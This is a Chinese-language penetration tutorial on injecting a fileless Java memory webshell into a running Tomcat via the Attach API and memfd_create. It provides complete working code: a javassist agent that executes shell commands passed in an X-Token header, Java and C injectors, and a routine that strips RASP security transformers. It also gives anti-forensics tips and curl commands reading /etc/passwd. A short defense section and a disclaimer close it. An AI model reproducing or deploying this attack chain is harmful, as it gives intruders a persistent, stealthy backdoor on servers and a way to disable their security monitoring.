1 前提条件分析

Java Attach API(com.sun.tools.attach)是HotSpot JVM提供的动态诊断接口,允许一个外部JVM进程连接到目标JVM并执行管理操作:加载Agent、获取系统属性、触发heap dump等。这一机制是jstack、jmap、Arthas等运维工具的底层基础。

Attach API的价值在于:它提供了一条无需修改目标进程启动参数、无需重启服务、无需文件落盘的代码注入通道。当攻击者在目标主机获得shell后,如果发现运行着Java应用服务,即可通过此机制实现内存级别的持久化。

2 安装基础依赖

环境搭建

组件

版本

用途

操作系统

Kali Linux 2026.1 (6.x kernel)

攻击机兼靶机

JDK

OpenJDK 25.0.3-ea

编译Agent/注入器

Tomcat

9.0.117

目标Web应用

GCC

15.2.0

编译C注入器

javassist

3.30.2-GA

字节码操作

部署 Tomcat 靶机

cd /opt
wget -q https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.117/bin/apache-tomcat-9.0.117.tar.gz
tar xzf apache-tomcat-9.0.117.tar.gz
cd apache-tomcat-9.0.117
./bin/startup.sh

确认 Tomcat 进程在运行

ps -ef | grep '[c]atalina'
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/
ls -la /tmp/.java_pid*

AttachListener的懒加载机制

此时/tmp下不存在.java_pid文件——说明AttachListener尚未激活

HotSpot JVM默认不会在启动时创建AttachListener线程和Unix Domain Socket。只有当外部进程首次尝试Attach时(通过创建.attach_pid<PID>文件并发送SIGQUIT信号),JVM的Signal Dispatcher线程才会检测到触发条件并启动AttachListener。

这意味着:一个从未被诊断工具连接过的JVM,其/tmp/.java_pid<PID> Socket是不存在的。我们的注入操作会导致该Socket首次创建——这是一个潜在的检测点。

测试 Web 服务可用

创建工作目录

mkdir -p /tmp/inject/{src/com/inject/agent,build/META-INF,lib}
cd /tmp/inject
wget -q -O lib/javassist.jar \
  https://repo1.maven.org/maven2/org/javassist/javassist/3.30.2-GA/javassist-3.30.2-GA.jar
tree .

3 JVMTI Agent开发:内存Webshell载荷

Agent是注入链的核心载荷。我们开发的Agent将通过Instrumentation.retransformClasses()重写HttpServlet.service()方法的字节码,在其入口处插入条件命令执行逻辑。

agent 源码

MemShellAgent.java

package com.inject.agent;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import javassist.*;

public class MemShellAgent {

    /**
     * Attach方式加载入口
     * 当通过Attach API注入时,JVM调用此方法而非premain
     */
    public static void agentmain(String args, Instrumentation inst) {
        System.out.println("[Agent] Loaded via Attach API, pid="
            + ProcessHandle.current().pid());

        inst.addTransformer(new MemShellTransformer(), true);

        // 遍历已加载类,找到HttpServlet并触发retransform
        for (Class<?> clazz : inst.getAllLoadedClasses()) {
            if (clazz.getName().equals("javax.servlet.http.HttpServlet")) {
                try {
                    if (inst.isModifiableClass(clazz)) {
                        inst.retransformClasses(clazz);
                        System.out.println("[Agent] HttpServlet retransformed OK");
                    }
                } catch (Exception e) {
                    System.err.println("[Agent] Retransform failed: " + e);
                }
                return;
            }
        }
        System.err.println("[Agent] HttpServlet class not found in loaded classes");
    }

    static class MemShellTransformer implements ClassFileTransformer {

        @Override
        public byte[] transform(ClassLoader loader, String className,
                Class<?> cls, ProtectionDomain pd, byte[] bytecode) {

            if (!"javax/servlet/http/HttpServlet".equals(className)) {
                return null;
            }

            try {
                ClassPool pool = ClassPool.getDefault();
                pool.appendClassPath(new LoaderClassPath(loader));
                CtClass cc = pool.get("javax.servlet.http.HttpServlet");

                // 定位protected service(HttpServletRequest, HttpServletResponse)
                CtMethod method = cc.getDeclaredMethod("service",
                    new CtClass[]{
                        pool.get("javax.servlet.http.HttpServletRequest"),
                        pool.get("javax.servlet.http.HttpServletResponse")
                    });

                // 插入到方法体最前面
                method.insertBefore(getPayload());

                byte[] modified = cc.toBytecode();
                cc.detach(); // 释放CtClass资源
                System.out.println("[Agent] Bytecode modified, size: "
                    + bytecode.length + " -> " + modified.length);
                return modified;

            } catch (NotFoundException e) {
                System.err.println("[Agent] Method not found, trying alternative...");
                return tryAlternativeHook(loader, bytecode);
            } catch (Exception e) {
                System.err.println("[Agent] Transform error: " + e);
                return null;
            }
        }

        /**
         * 备选Hook点:直接Hook子类(如HttpServletBean)
         */
        private byte[] tryAlternativeHook(ClassLoader loader, byte[] original) {
            return null;
        }

        private String getPayload() {
            // 内存马逻辑:检测X-Token请求头,存在时执行其值作为命令
            return "{"
                + "  javax.servlet.http.HttpServletRequest _req ="
                + "    (javax.servlet.http.HttpServletRequest)$1;"
                + "  javax.servlet.http.HttpServletResponse _resp ="
                + "    (javax.servlet.http.HttpServletResponse)$2;"
                + "  String _cmd = _req.getHeader(\"X-Token\");"
                + "  if (_cmd != null && _cmd.length() > 0) {"
                + "    try {"
                + "      String[] _exec = new String[]{\"/bin/sh\", \"-c\", _cmd};"
                + "      Process _p = Runtime.getRuntime().exec(_exec);"
                + "      java.io.InputStream _is = _p.getInputStream();"
                + "      byte[] _buf = new byte[4096];"
                + "      int _len;"
                + "      StringBuilder _sb = new StringBuilder();"
                + "      while ((_len = _is.read(_buf)) != -1) {"
                + "        _sb.append(new String(_buf, 0, _len));"
                + "      }"
                + "      _resp.setContentType(\"text/plain\");"
                + "      _resp.setCharacterEncoding(\"UTF-8\");"
                + "      _resp.getWriter().print(_sb.toString());"
                + "      _resp.getWriter().flush();"
                + "      _is.close();"
                + "      return;"
                + "    } catch (Exception _e) {"
                + "      try { _resp.getWriter().print(\"ERR:\" + _e); }"
                + "      catch (Exception _ex) {}"
                + "      return;"
                + "    }"
                + "  }"
                + "}";
        }
    }
}
  • 变量命名前缀_:避免与原始方法局部变量名冲突。javassist的insertBefore将代码插入到方法体开头,共享方法的局部变量作用域。
  • $1/$2引用:javassist的特殊语法,$1代表第一个参数,$2代表第二个参数。
  • 显式return;:命中触发条件时直接返回,不执行原始Servlet逻辑,避免产生正常响应页面干扰输出。
  • 异常静默处理:Agent代码中的异常不应导致目标应用崩溃,所有异常都被catch并返回简要错误信息。
  • Hook位置选择:选择HttpServlet.service()而非具体的doGet/doPost,因为service是所有HTTP方法的统一入口,确保GET/POST/PUT等请求都能触发。

MANIFEST.MF

sudo bash -c 'cat > /tmp/inject/build/META-INF/MANIFEST.MF << EOF
Manifest-Version: 1.0
Agent-Class: com.inject.agent.MemShellAgent
Can-Retransform-Classes: true
Can-Redefine-Classes: true

EOF'

Can-Retransform-Classes: true是必需的,否则retransformClasses()调用将抛出UnsupportedOperationException。

4 从编译到getshell

编译并打包 Agent JAR

编译

javac -cp lib/javassist.jar \
      -d build \
      src/com/inject/agent/MemShellAgent.java

解压 javassist 类到 build 目录

cd build && jar xf ../lib/javassist.jar javassist && cd ..

打包

jar cmf build/META-INF/MANIFEST.MF agent.jar -C build .

验证结果

jar tf agent.jar | grep -E "(MANIFEST|MemShell|javassist/CtClass)"
ls -la agent.jar

编写注入器并执行标准注入

Injector.java

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.File;

public class Injector {
    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.out.println("Available JVMs:");
            for (VirtualMachineDescriptor vmd : VirtualMachine.list()) {
                System.out.printf("  PID=%-7s %s%n", vmd.id(), vmd.displayName());
            }
            System.out.println("\nUsage: java Injector <pid> <agent.jar>");
            return;
        }

        String pid = args[0];
        String agentPath = new File(args[1]).getAbsolutePath();

        System.out.println("[*] Target PID: " + pid);
        System.out.println("[*] Agent path: " + agentPath);

        VirtualMachine vm = VirtualMachine.attach(pid);
        System.out.println("[*] Attached successfully");

        vm.loadAgent(agentPath);
        System.out.println("[+] Agent loaded!");

        vm.detach();
        System.out.println("[*] Detached");
    }
}

编译并执行

javac Injector.java

查找可用 JVM

java Injector

记录当前 memfd 数量(注入前基线),与注入后形成对比参照(后文再细说)

执行注入

TARGET_PID=$(pgrep -f 'catalina.startup.Bootstrap')
java Injector ${TARGET_PID} agent.jar

检查 Tomcat 日志确认注入成功

tail -5 /opt/apache-tomcat-9.0.117/logs/catalina.out

验证内存马效果

正常请求

curl -s http://localhost:8080/ | head -3

触发内存马执行命令

curl -s -H "X-Token: id" http://localhost:8080/
curl -s -H "X-Token: uname -a" http://localhost:8080/
curl -s -H "X-Token: cat /etc/passwd | head -5" http://localhost:8080/

任意路径均可触发内存注入

curl -s -H "X-Token: whoami" http://localhost:8080/any/random/path

  • 请求的是 /any/random/path(一个不存在的路径),但内存马仍然响应。因为 Hook 点在 HttpServlet.service() 方法——这是所有 HTTP 请求的统一入口,无论 URL 路径是什么都会经过这里。

不带 X-Token 头,业务正常

curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/

5 memfd_create 内存注入

编写 C 注入器

fileless_injector.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/syscall.h>
#include <signal.h>
#include <errno.h>
#include <linux/memfd.h>

/*
 * 无文件Java Agent注入器
 * 利用memfd_create + /proc/pid/fd实现纯内存态注入
 *
 * 编译: gcc -O2 -o fileless_injector fileless_injector.c
 * 用法: ./fileless_injector <target_pid> <agent.jar>
 *
 * 工作流程:
 * 1. 读取agent.jar到内存
 * 2. 通过memfd_create创建匿名内存文件
 * 3. 将JAR数据写入内存fd
 * 4. 触发目标JVM的Attach Listener
 * 5. 通过Unix Socket发送load命令,路径指向/proc/self/fd/N
 * 6. 注入完成后关闭fd,内存文件销毁
 */

// 直接通过syscall调用memfd_create,避免glibc版本依赖
static int my_memfd_create(const char *name, unsigned int flags) {
    return (int)syscall(SYS_memfd_create, name, flags);
}

// 等待文件出现,带超时
static int wait_for_file(const char *path, int timeout_ms) {
    int elapsed = 0;
    while (access(path, F_OK) != 0) {
        if (elapsed >= timeout_ms) return -1;
        usleep(100 * 1000); // 100ms
        elapsed += 100;
    }
    return 0;
}

// 核心:发送Attach协议命令
static int do_attach_load(int target_pid, const char *agent_path) {
    char socket_path[256];
    char attach_file[256];
    int ret = -1;

    // === Phase 1: 触发AttachListener启动 ===
    snprintf(attach_file, sizeof(attach_file), "/tmp/.attach_pid%d", target_pid);

    // 检查Socket是否已存在(JVM之前已被Attach过)
    snprintf(socket_path, sizeof(socket_path), "/tmp/.java_pid%d", target_pid);
    if (access(socket_path, F_OK) != 0) {
        printf("[*] Attach socket not found, triggering creation...\n");

        int fd = open(attach_file, O_CREAT | O_WRONLY | O_TRUNC, 0644);
        if (fd < 0) {
            fprintf(stderr, "[-] Cannot create %s: %s\n", attach_file, strerror(errno));
            return -1;
        }
        close(fd);

        // 发送SIGQUIT触发Signal Dispatcher
        if (kill(target_pid, SIGQUIT) < 0) {
            fprintf(stderr, "[-] Cannot send SIGQUIT to %d: %s\n",
                    target_pid, strerror(errno));
            unlink(attach_file);
            return -1;
        }

        printf("[*] Waiting for JVM to create attach socket...\n");
        if (wait_for_file(socket_path, 5000) < 0) {
            fprintf(stderr, "[-] Timeout: JVM did not create socket within 5s\n");
            fprintf(stderr, "    Possible causes:\n");
            fprintf(stderr, "    - JVM started with -XX:+DisableAttachMechanism\n");
            fprintf(stderr, "    - UID mismatch (check process owner)\n");
            fprintf(stderr, "    - PID incorrect or process not a JVM\n");
            unlink(attach_file);
            return -1;
        }

        unlink(attach_file);
        printf("[+] Attach socket ready: %s\n", socket_path);
    } else {
        printf("[*] Attach socket already exists (JVM previously attached)\n");
    }

    // === Phase 2: 连接Socket并发送命令 ===
    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
    if (sock < 0) {
        perror("[-] socket()");
        return -1;
    }

    struct sockaddr_un addr = {0};
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);

    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        fprintf(stderr, "[-] connect(%s): %s\n", socket_path, strerror(errno));
        close(sock);
        return -1;
    }

    printf("[*] Connected to JVM attach socket\n");

    // 构造协议报文: "1\0load\0instrument\0false\0<path>\0"
    char payload[2048];
    int off = 0;

    payload[off++] = '1';
    payload[off++] = '\0';

    memcpy(payload + off, "load", 4); off += 4;
    payload[off++] = '\0';

    memcpy(payload + off, "instrument", 10); off += 10;
    payload[off++] = '\0';

    memcpy(payload + off, "false", 5); off += 5;
    payload[off++] = '\0';

    int path_len = strlen(agent_path);
    memcpy(payload + off, agent_path, path_len); off += path_len;
    payload[off++] = '\0';

    ssize_t sent = write(sock, payload, off);
    if (sent != off) {
        fprintf(stderr, "[-] write() failed: sent %zd/%d\n", sent, off);
        close(sock);
        return -1;
    }

    printf("[*] Command sent (%d bytes)\n", off);

    // === Phase 3: 读取响应 ===
    char response[1024] = {0};
    ssize_t n = read(sock, response, sizeof(response) - 1);
    close(sock);

    if (n > 0) {
        printf("[*] JVM Response: %s\n", response);
        if (response[0] == '0') {
            ret = 0;
        } else {
            fprintf(stderr, "[-] JVM returned error code: %.10s\n", response);
        }
    } else {
        fprintf(stderr, "[-] No response from JVM\n");
    }

    return ret;
}

int main(int argc, char *argv[]) {
    if (argc < 3) {
        fprintf(stderr, "Fileless Java Agent Injector\n");
        fprintf(stderr, "Usage: %s <target_pid> <agent.jar>\n\n", argv[0]);
        fprintf(stderr, "The JAR is loaded into anonymous memory via memfd_create\n");
        fprintf(stderr, "and injected without leaving disk artifacts.\n");
        return 1;
    }

    int target_pid = atoi(argv[1]);
    const char *jar_path = argv[2];

    printf("=== Fileless Java Agent Injector ===\n");
    printf("[*] Target PID: %d\n", target_pid);
    printf("[*] Source JAR: %s\n\n", jar_path);

    // Step 1: 读取JAR到用户空间内存
    FILE *fp = fopen(jar_path, "rb");
    if (!fp) {
        fprintf(stderr, "[-] Cannot open %s: %s\n", jar_path, strerror(errno));
        return 1;
    }
    fseek(fp, 0, SEEK_END);
    long jar_size = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    unsigned char *jar_buf = (unsigned char *)malloc(jar_size);
    if (!jar_buf) {
        fprintf(stderr, "[-] malloc(%ld) failed\n", jar_size);
        fclose(fp);
        return 1;
    }
    if (fread(jar_buf, 1, jar_size, fp) != (size_t)jar_size) {
        fprintf(stderr, "[-] fread() incomplete\n");
        free(jar_buf);
        fclose(fp);
        return 1;
    }
    fclose(fp);
    printf("[+] Read JAR into memory: %ld bytes\n", jar_size);

    // Step 2: 创建匿名内存文件
    int memfd = my_memfd_create("", MFD_CLOEXEC);
    if (memfd < 0) {
        fprintf(stderr, "[-] memfd_create failed: %s\n", strerror(errno));
        fprintf(stderr, "    Requires Linux kernel >= 3.17\n");
        free(jar_buf);
        return 1;
    }

    // Step 3: 写入JAR数据到内存fd
    ssize_t written = write(memfd, jar_buf, jar_size);
    free(jar_buf);

    if (written != jar_size) {
        fprintf(stderr, "[-] write to memfd incomplete: %zd/%ld\n", written, jar_size);
        close(memfd);
        return 1;
    }

    // 构造/proc路径 — 目标JVM通过此路径读取内存文件
    char memfd_path[256];
    snprintf(memfd_path, sizeof(memfd_path), "/proc/%d/fd/%d", getpid(), memfd);

    printf("[+] Memory file created: %s\n", memfd_path);
    printf("[*] Verifying readability...\n");

    if (access(memfd_path, R_OK) != 0) {
        fprintf(stderr, "[-] memfd path not accessible: %s\n", strerror(errno));
        close(memfd);
        return 1;
    }
    printf("[+] Memory file verified readable\n\n");

    // Step 4: 执行Attach注入
    printf("[*] Initiating Attach protocol...\n");
    int result = do_attach_load(target_pid, memfd_path);

    if (result == 0) {
        printf("\n[+] === INJECTION SUCCESSFUL ===\n");
        printf("[+] Agent is now executing inside target JVM (PID %d)\n", target_pid);
    } else {
        printf("\n[-] === INJECTION FAILED ===\n");
    }

    // Step 5: 关闭memfd — 内存文件被销毁
    close(memfd);
    printf("[*] Memory fd closed — anonymous file destroyed\n");
    printf("[*] No disk artifacts remain from agent payload\n");

    return result;
}

编译并执行无文件注入

gcc -O2 -o fileless_injector fileless_injector.c

# 重启 Tomcat 获得干净状态
/opt/apache-tomcat-9.0.117/bin/shutdown.sh
sleep 2
/opt/apache-tomcat-9.0.117/bin/startup.sh
sleep 3

获取新 PID 并注入

TARGET_PID=$(pgrep -f 'catalina.startup.Bootstrap')
./fileless_injector ${TARGET_PID} agent.jar

6 验证无文件特性

curl -s -H "X-Token: id" http://localhost:8080/x

内存马仍然有效

rm -f /tmp/inject/agent.jar
rm -f /tmp/inject/fileless_injector
curl -s -H "X-Token: whoami" http://localhost:8080/y

请求任意非根路径即可

删除磁盘文件后内存马依然存活

# 检查 JVM fd 列表无 memfd 残留
ls -la /proc/${TARGET_PID}/fd/ | grep memfd

这里看到的 fd/56 是 JDK 25 自身的,不是注入产生的。

注入完成后再检查memfd 数量

ls -la /proc/${TARGET_PID}/fd/ | grep memfd | wc -l

与前文memfd 数量进行对比,注入前后数量一致,就证明了注入器的 memfd 没有残留在 JVM 中。

关键证据链

  1. 注入器进程退出后,其/proc/PID目录被内核回收,memfd文件描述符随之关闭,匿名内存文件被销毁
  2. 目标JVM在加载Agent时是一次性读取JAR内容到自己的堆内存,不会持有源文件的fd——因此JVM的fd列表中没有memfd残留
  3. 删除磁盘上的agent.jar和注入器后,内存马仍然有效——因为修改后的字节码已经驻留在JVM的Metaspace中
  4. 整个过程中,agent.jar虽然短暂存在于磁盘用于读取,但实际注入路径是内存。生产环境中可通过网络直接接收JAR字节流写入memfd,实现全程零落盘

7 痕迹检查

检查一:Socket 文件存在性

# Socket 文件
ls -la /tmp/.java_pid${TARGET_PID}

该 Socket 是 JVM Attach API 的通信通道——注入 Agent 时通过它与目标 JVM 进行协议交互。其创建时间(17:46)标记了 Attach 机制首次被触发的时刻。

定期巡检 /tmp/.java_pid* 即可发现,但无法仅凭文件存在区分合法监控工具(Arthas/SkyWalking)与恶意注入。

检查二:Attach Listener 线程状态

# Attach Listener 线程
jcmd ${TARGET_PID} Thread.print | grep "Attach Listener"

Attach Listener 线程已存活 812 秒,证实此前确有 Attach 操作发生。关键指标 cpu=130.53ms 表明该线程并非空闲创建——它实际处理过 Attach 请求(加载 Agent 的协议交互)。当前状态 waiting on condition 表示已完成任务,等待下一次连接。

需主动执行 jcmd 或 jstack 进行线程快照,且需结合 CPU 时间判断该线程是否仅由合法 JMX 监控触发。

检查三:后续注入隐蔽性预判

Socket 已存在意味着:后续再次注入时不会触发新的文件创建事件。依赖 inotify 等文件系统监控的防御方案在此场景下完全失效——攻击者可反复注入新 Agent 而在文件系统层面产生零增量痕迹。

# 注入前预判(Socket 已存在则隐蔽性最高)
test -S /tmp/.java_pid${TARGET_PID} && echo "Socket exists, stealth mode" || echo "Will create new socket"

Arthas、SkyWalking 等 APM 工具常使 Socket 提前存在,攻击者"搭便车"即可获得最高隐蔽性。

8 攻击痕迹分析与反取证

绕过已存在的AttachListener检测

如果目标JVM之前从未被Attach过(/tmp/.java_pid*不存在),首次注入会导致Socket文件创建和线程新增。但如果生产环境已部署了Arthas、SkyWalking Agent等监控工具,AttachListener大概率已处于活跃状态——此时注入不会产生任何新的文件系统或线程变更。

对抗RASP:致盲已有安全Agent

如果目标JVM运行了RASP(如OpenRASP、JRASP),其Transformer可能检测到异常的retransformClasses调用。以下技术用于识别和摘除RASP钩子:

/**
 * 在agentmain中优先执行:摘除第三方Transformer
 * 原理:通过反射访问InstrumentationImpl的内部Transformer列表
 */
private static void neutralizeTransformers(Instrumentation inst) {
    try {
        // 获取TransformerManager
        java.lang.reflect.Field tmField = inst.getClass()
            .getDeclaredField("mTransformerManager");
        tmField.setAccessible(true);
        Object tm = tmField.get(inst);

        // 获取Transformer数组(retransform能力的)
        java.lang.reflect.Method getMethod = tm.getClass()
            .getDeclaredMethod("getSnapshotTransformerList");
        getMethod.setAccessible(true);

        // TransformerInfo[] — 包含每个注册的Transformer
        Object[] infoArray = (Object[]) getMethod.invoke(tm);

        for (Object info : infoArray) {
            java.lang.reflect.Field tField = info.getClass()
                .getDeclaredField("mTransformer");
            tField.setAccessible(true);
            ClassFileTransformer t = (ClassFileTransformer) tField.get(info);

            String tClassName = t.getClass().getName().toLowerCase();
            // 匹配已知RASP特征类名
            if (tClassName.contains("rasp") ||
                tClassName.contains("openrasp") ||
                tClassName.contains("jrasp") ||
                tClassName.contains("security.agent")) {
                inst.removeTransformer(t);
                // 静默移除,不打印
            }
        }
    } catch (Exception ignored) {
        // 反射失败不影响主逻辑(可能JDK版本字段名不同)
    }
}

RASP对抗的局限性

上述方法依赖于RASP的Transformer类名包含可识别特征。部分商业RASP产品使用混淆类名或动态生成Transformer,此时需要通过行为特征(如Transformer的transform方法访问的类范围)来识别。更激进的方式是移除所有非JDK内置的Transformer,但这可能影响业务中的合法AOP框架。


9 防御建议

Socket 文件和 Attach Listener 线程属于存量痕迹,蓝队通过定期巡检即可发现历史注入行为。然而攻击者的真正优势在于:一旦 Socket 已存在,后续注入在文件系统和线程层面均为零增量——仅靠被动监控几乎不可能实时捕获。

有效检测手段:

①启动时添加 -XX:+DisableAttachMechanism 从根本上禁用 Attach;

②部署 eBPF 探针监控对 /tmp/.java_pid* Socket 的 connect() 系统调用;

③通过 auditd 审计 SIGQUIT 信号的发送源。三者结合方可覆盖整个攻击面。

运维层防护措施

# 1. 使用systemd的ProtectHome/PrivateTmp隔离/tmp
# /etc/systemd/system/tomcat.service
[Service]
PrivateTmp=true
# 效果:Tomcat看到的/tmp是隔离的命名空间
# 攻击者在主机/tmp创建.attach_pid文件不会被JVM看到

# 2. 监控/tmp下的.java_pid和.attach_pid文件创建
inotifywait -m -e create /tmp/ 2>/dev/null | grep -E '\.(java_pid|attach_pid)'

# 3. 定期对比关键类字节码hash
# 基线建立:
jcmd <PID> GC.class_stats | md5sum > /opt/security/class_baseline.md5
# 定期检查(crontab):
jcmd <PID> GC.class_stats | md5sum | diff - /opt/security/class_baseline.md5

最有效的单一防御措施

在所有防御手段中,systemd的PrivateTmp=true是性价比最高的单一措施。它通过Linux mount namespace为服务创建隔离的/tmp目录,使得外部进程无法通过/tmp/.attach_pid触发Attach,从根本上阻断了攻击链的第一步。且此配置对应用完全透明,不影响任何正常功能。

10 认识

无文件不等于无痕迹,但大幅抬高了取证成本。memfd_create虽然消除了磁盘文件,但内存中的字节码修改、JVM内部的Transformer注册记录、内核审计日志中的系统调用序列——这些依然可被发现。

​

免责声明

本文所有技术内容仅用于安全研究和防御能力建设。在未经授权的系统上使用本文所述技术属于违法行为。进行渗透测试前务必获得书面授权并明确测试范围。